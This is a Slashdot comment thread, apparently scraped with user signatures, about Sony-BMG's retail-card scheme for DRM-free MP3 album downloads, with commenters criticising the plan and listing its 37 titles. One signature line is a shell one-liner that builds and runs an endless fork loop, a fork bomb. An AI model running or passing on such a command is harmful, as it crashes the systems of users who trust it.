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Sony's Idea of DRM-Free Music
edmicman writes "Leave it to Sony to mess up DRM-free music downloads. What is the point of DRM-free tracks if you still have to go to a retail store to buy them? From the Infoworld article: 'The tracks will be offered in MP3 format, without DRM, from Jan. 15 in the U.S. and from late January in Canada... The move is far from the all-digital service offered by its rivals, though. To obtain the Sony-BMG tracks, would-be listeners will first have to go to a retail store to buy a Platinum MusicPass, a card containing a secret code, for a suggested retail price of $12.99. Once they have scratched off the card's covering to expose the code, they will be able to download one of just 37 albums available through the service, including Britney Spears' "Blackout" and Barry Manilow's "The Greatest Songs of the Seventies."'"
Has lots of DRM free sony downloads, without any of that hassle of going to a store :)
coming soon to a bittorrent client near you...
MP3 Search Engine
And in a few months time, they'll evaluate and state that the consumers aren't ready yet for DRM-free music.
With such quality music, how is it possible they're losing market share??!
What a load of bollocks, so I go in-store, and instead of purchasing the CD and ripping them myself, I get a lower quality version already ripped.. wait a minute... this is going to be cheaper right?
Some other shops have got it right, like my local Virgin Megastore who let you pick any cd or 7/12", scan the barcode at a listening station and listen to it before I buy the physical cd... if I can't even do this in their stores, then they've got the completely wrong idea and are so disconnected from their own customers that I really feel quite sorry for them.
instead of going into the retail store, turning right and picking up the platinum pass, I'm going to turn left and pick up the CD.
Summation 2
I dunno, I'd pay to hear a Britney cover of "Wait for the Blackout". Particularly now she's a lot fucking crazier now than Dave Vanian ever was.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
http://adrinael.net/wrong2.jpg
Abandon All Hope, Ye Who Enter Here
There is no way, this could possibly fail.
I'll stay home and get the torrent with the FLAC files.
That is, if any music Sony put out was even worth downloading.
If you build it, nerds will come. Soylentnews.org
[...] first have to go to a retail store [...] they will be able to download one of just 37 albums available through the service, including Britney Spears' "Blackout" and Barry Manilow's "The Greatest Songs of the Seventies."'"
Uhh... great artist selection, there. If I have to walk down to the retail store and then choose between Britney and Barry Manilow, I would rather save my hard-earned money.
Within a couple of months Sony will "accidentally" leak the sad numbers of their non-DRM trial to select members of the press, who will then write scathing opinion pieces about how the rampant piracy is so widespread that even removing DRM can't help the music industry.
--Bud
tried to design a HD movie distribution system.
Oh, bummer.
Britney Spears and Barry Manilow is a rootkit for the human brain.
Take the cheese to sickbay, the doctor should see it as soon as possible - B'Elanna Torres, "Learning Curve"
In contrast, online retailer Amazon.com offers 2.9 million DRM-free tracks in MP3 format from the catalogs of EMI Group, Warner Music Group, Universal Music and a host of independent record labels. Apple's iTunes Store has around 2 million DRM-free tracks in the AAC format supported by its iPod and many mobile phones. No store visit is necessary to download those tracks, and an album typically sells for $9.99 or less.
i don't think it's a smart move from sony.. but hey....at least there's not spyware in it...
So, they want me to go to a brick-and-mortar store and spend $12.99 to buy a secret code that will allow me to download MP3s of one album that I could have purchased at that same store for, um, $12.99. Nevermind the fact that even if the downloads are all ripped at over 256kbps they're nowhere near the over 720kbps I'm going to rip from the actual disk in .flac or .ogg, and once you've downsampled in a lossy format there really is no going back to full quality.
Yeah. Right.
My office has been taken over by iPod people.
... you can be tracked and you can be treated as a criminal!
Capitalism is the Opium of the Masses; Customer is King is the slogan.
- US and Canada only
- retail Brix-N-Mortar visit required
- Purchase a "Card with secret code"
- Card enables download of one album from a selection of 37 (another album means another visit and another card)
- TFA says "MP3 format" but for all you know it's encoded as mono@32kbps with literally zero info in the ID3 tags
- For all those hoops you just jumped through, not significantly cheaper than just purchasing the CD
- does this work on Linux? MacOS? BeOS? AmigaOS? (before you whine about "it's just a download" you've *all* had some site you went to where it simply did not work on "your OS and browser of choice")
Or you could read the short version: MultiNational MegaCorp with a History of fair-use violating DRM enforcement and downright corporate shenanigans (rootkit, anyone?) releases DRM-free program more difficult to operate than the-clock-on-your-vcr and of actual negative value to end-customers.Consensus seems to be that 6 months from now SonyBMG will issue an "I Told You So" press release claiming they went all out to allow DRM-free downloads and nobody wanted it.
Visit CryptoGnome in his home.
Actually this sounds like some suppliers twisted Sony's arm in a failed attempt to keep the 'brick and mortar' style music store alive. I'm certain that the eventual failure of the 'pirate-friendly' mp3s is a pleasant side effect.
Kind of like how release dates for most games are tied to the physical retail releases.
Out of modpoints but really liked a post? 1BDkF6TtmmeZ3yqXbz9yhdYVqRYnwFoXDj
I see what they're doing. By making people choose between Britney Spears and Barry Manilow they're attempting to prove that popular music is no worse now than it's ever been.
Blank until
Just when you thought Sony couldn't demonstrate any more incompetence in the marketplace...
Let's make our product:
* Hard to get
* More expensive than the (legal!) competition
* Packaged in bundles consumers don't want
* Install dangerous malware on our customers' computers (and get sued)
Sony once again proves adept at charting a beeline directly for the scrapheap of history. About what you'd expect from the company that thought up the "Ringle".
Other than the fact that Sony is self-sabatoging their DRM-free sales.
Buy a card from a retail store? Fair enough. That seems reasonable.
Limited selection of music... well maybe they just want to test the waters. Although it sounds like the lack of quality (Britney Spears wasn't good even when she WAS good) may mean they are trying to purposefully set the program up for failure.
None of this is unreasonable to the customer, and I'd do it to buy legal, DRM-free music.
Except for the fact that this is Sony, which I have determined NEVER to give any money to again. These are the unrepentant bastards who infected millions of computers with rootkits (their executives should have gone to prison for that, but the corruption of the current government is for another discussion), put self destruct sequences in the Blu-Ray player specs, sell DVD's that won't play in many DVD players, shut down Lik-Sang, made digital music players that ONLY used a proprietary Sony music format, screwed the early adopters of HDTV (Blu-ray players won't work with non-drm'd inputs)...
Sony is a bunch of asshats. Fuckem.
It means kids can buy them rather than having to rely on a credit card. They take up no shelf space so a lot of convenience stores can offer them rather than just record stores.
Folks that can't handle it, like obviously Sony-BMGs management, should really stay clear from an Absinthe bottle.
ich bin der musikant
mit taschenrechner in der hand
kraftwerk
Sony is trying to prop up the existing music distribution chain. Instead of going into Wal-Mart to buy a CD, you instead go there to buy a card. Either way, you still had to go to Wal-Mart to get your music. Obviously Wal-Mart will receive some sort of profit off of that sale, in lieu of profit off of an actual CD.
I don't know if this is good or bad. On one hand, it may keep a music section in retailers a bit longer, providing a place to walk in and lay hands on a physical album set. On the other hand, that extra middle-man keeps the cost of music slightly higher. I think this is a fairly responsible thing for Sony to do, because it will help prevent a drastic change which could be detrimental in the short term.
Dan East
Better known as 318230.
You are officially the first person on Slashdot to get modded up for expressing a desire to listen to Brittany Spears!
You know, there is a difference between trolling and pointing out the flaws in your reasoning. Just saying.
And for an encore:
Oh Sony, you came and you took without giving,
You've taken it all, oh Sony.
Misspent youth with only AM radio.
I've got a better idea, if it's something you have to go to a store to get. They could put DRM-free lossless versions of the songs on small optical discs (they'd be cheap) that you buy at the counter, no codes or anything. They might even be able to get them to play in current portable music players. They'd be digital, of course. Maybe some other company has tried this before?
These are the 37 titles (from http://gift.musicpass.com/):
The initial slate of Platinum MusicPass titles is as follows:
Platinum MusicPass Albums with Bonus Material (slrp $12.99):
Alejandro Fernandez, Viento A Favor
Alicia Keys, As I Am
Avril Lavigne, The Best Damn Thing
Backstreet Boys, UnBreakable
Barry Manilow, The Greatest Songs of the Seventies
Bob Dylan, Dylan
Boys Like Girls, Boys Like Girls
Brad Paisley, 5th Gear
Britney Spears, Blackout
Brooks & Dunn, Cowboy Town
Bruce Springsteen, Magic
Calle 13, Residente o Visitante
Camila, Todo Cambio
Carrie Underwood, Carnival Ride
Casting Crowns, The Altar and The Door
Celine Dion, Taking Chances
Chris Brown, Exclusive
Daughtry, Daughtry
Elvis Presley, Elvis 30 #1 Hits
Jennifer Lopez, Brave
John Mayer, Continuum
Kenny Chesney, Just Who I Am: Poets & Pirates
Martina McBride, Waking Up Laughing
P!nk, I'm Not Dead
Santana, Ultimate Santana
Sara Bareilles, Little Voice
Sean Kingston, Sean Kingston
The Fray, How To Save A Life
Three Days Grace, One-X
Tony Bennett, Duets
Platinum MusicPass Compilations (slrp $12.99)
Various, 70's POP HITS
Various, ROCK OF THE 70's
Various, SENSATIONAL 60's
Various, COUNTRY GOLD: THE 90's
Various, 80's POP HITS
Various, CLASSIC ROCK
Various, Everlasting Love
Expanded MusicPass Titles (slrp $19.99 versions which include the complete album, bonus material, plus choice of one additional album from that same artist's rich catalog of recordings.)
Kenny Chesney, Just Who I Am: Poets & Pirates
Celine Dion, Taking Chances
You could rather go to a music store and buy a CD, then convert it to MP3 using ripper software. Perfectly legal if it's for personal use (at least here in Sweden). Additionally, you have the choice to onvert the CD to a lossless format such as FLAC. If downloading DRM-free music requires you to go to town to buy some card, you'd rather buy a CD . About the same price, more possibilities. Or you could just ignore it all and just download torrents or whatever.
I swear I will never ever buy a Sony product again. No discs, no games, no console, no TV. Ok, I've bought more Yamaha, Sharp, Samsung, Bose, equipment but Sony are just trying to hard to have a place in my brain between the waffen ss and mike huckabee's son, so I'll gladly let them there and consider their products accordingly.
And still the PS/3 fanbois don't understand why it is BAD BAD BAD that blu-ray is winning.
IIRC, there were three sizes of vinyl. The seven inch, played at 45 rpm, was the single. A 10" disc was called an EP, and held two songs per side (EP stood for extended play). And then there was the 12" platter.
Twelve inch discs used to be just albums, played at 33 1/3 rpm. But the rise of dance remixes meant releases were put on 12" discs to be played at 45.
Or, if you were John Peel, just play everything at 78 rpm and say "I think I played that at the wrong speed..."
Shiny. Let's be bad guys...
Before MP3's I wasn't into music that much. I remember when MP3's came on the scene years before the popular public had heard of them, ... downloading them by modem, this was before cable modems and DSL, it would take at least 15/20 minutes a song.
At first I just downloaded but naturally every year or so I'd get a crash or something would happen and I would lose my collection. All the current stuff you can find at decent quality but not necessarily stuff from two or five years back. And not all rips are the same so I eventually found myself just buying the CD's just to rip them myself at higher quality. I never bought CD's before this. I fell into the pattern of downloading the new stuff and buying at least 2/3 of the stuff within a couple years by shopping for used CD's in stores and online. Usually paying no more than like $7 a CD but remember that chances are I only like 2 songs on the disc. I buy my music, maybe not how the music industry would me to; but non the less I do, it's on my terms and it works for me.
Want do I want? Electronic per song transferable digital licenses. And with those access to the music companies online computers to download the music. And I want the FTC and FCC involved so that the licenses are locked in and guaranteed so that when the technology and protocols of the digital licenses change they are guaranteed transferable to the next technology. And songs are not locked into one account or device(as they are with apple), your free to sell and transfer the per song licenses to someone else in the free market. And it would be nice if the licenses covered all relatively close versions of the song sung by the same performer so they can't charge you again for acoustic, karaoke, different file formats, or higher bit quality. In other words you own the rights to listen to that song and your entitled to all versions of it. That would be worth something.
You're missing the point of the physical cards.
Similar to Wii Points, XBox Live Cards and iTunes cards,
this is so that people without access to a charge card can still participate by paying cash money at a local merchant.
Not everyone has a credit card to use on the Internet.
-Patrick
"They never stop thinking about new ways to harm our country and our people, and neither do we."
Get used to it, though. If blu-ray wins the HD format war, you're going to be seeing a *LOT* more aggressive DRM than this.
SJW: Someone who has run out of real oppression, and has to fake it.
But they would be livid to the point of tears if their work was copied and sold commercially.
I can already hear the bellyaching...
I'd pay 12.99 just to NOT hear him ever again...Sony must really really WANT this to fail. Perhaps they're trying to generate some ammo for political talking points.
Pavlov wouldn't be so famous if he'd used a can opener instead of a bell.
Comment removed based on user account deletion
That argument eventually won favor with Apple [...]
You mean "that argument eventually won favor with EMI". Apple was MAKING that argument to the music industry before they even opened the iTunes Music store, according to the Rolling STone interview with Steve Jobs just a few months after the iTunes Music Store opened:
More recently, after EMI finally made the break: